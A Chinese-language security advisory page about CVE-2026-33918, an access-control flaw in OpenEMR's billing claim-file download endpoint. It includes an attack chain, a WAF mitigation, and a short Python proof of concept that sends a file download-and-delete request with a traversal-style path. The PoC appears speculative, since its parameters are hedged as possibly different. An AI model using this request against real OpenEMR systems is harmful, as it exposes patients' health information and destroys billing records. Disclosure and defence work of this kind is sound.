IPBUF安全漏洞报告
English
CVE-2026-33918 CVSS 7.6 高危

CVE-2026-33918 OpenEMR权限绕过漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33918
漏洞类型
权限绕过
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

权限绕过OpenEMR信息泄露访问控制失效PHI

漏洞概述

OpenEMR 8.0.0.3之前版本存在严重的权限绕过漏洞。由于账单文件下载端点`interface/billing/get_claim_file.php`未实施ACL权限检查,任何经过身份认证的用户均可绕过权限限制,下载并永久删除包含受保护健康信息(PHI)的电子索赔文件,导致敏感数据泄露。

技术细节

该漏洞的核心在于OpenEMR的访问控制逻辑缺陷。受影响版本中,`interface/billing/get_claim_file.php`文件仅核实了请求者的会话有效性及CSRF令牌,却完全忽略了基于角色的访问控制(ACL)验证。这意味着,只要攻击者拥有系统中的任意普通账号(无需账单管理权限),即可构造特定的HTTP请求直接调用该接口。利用此漏洞,攻击者不仅可以读取存储在服务器上的电子索赔批量文件(包含PHI),还能触发删除操作,造成数据的不可逆丢失和严重隐私泄露风险。

攻击链分析

STEP 1
侦察
攻击者识别目标系统为OpenEMR,并确认版本在8.0.0.3之前。
STEP 2
获取凭证
攻击者通过注册、钓鱼或暴力破解获取一个低权限的普通用户账号凭证。
STEP 3
漏洞利用
攻击者使用低权限账号登录,获取有效的Session ID和CSRF Token,向`interface/billing/get_claim_file.php`发送构造好的请求。
STEP 4
数据泄露与破坏
由于未校验ACL,攻击者成功下载包含PHI的账单文件,或发送删除指令永久删除文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit for CVE-2026-33918 # Description: Access control bypass allows any authenticated user to download/delete billing files. target_url = "http://target-openemr.com/interface/billing/get_claim_file.php" # Valid session cookie for a low-privilege user session_cookies = { "PHPSESSID": "valid_session_id_here" } # Example parameters (actual params may vary based on OpenEMR configuration) payload_params = { "file": "../../data/claims/batch_file.csv", "delete": "1" } try: response = requests.get(target_url, cookies=session_cookies, params=payload_params) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] File Content or Deletion Confirmation:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

OpenEMR < 8.0.0.3

防御指南

临时缓解措施
若无法立即升级,建议在WAF(Web应用防火墙)中添加规则,严格限制对`interface/billing/get_claim_file.php`路径的访问,仅允许特定IP或具有管理员权限的用户访问,或暂时禁用该文件下载功能以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表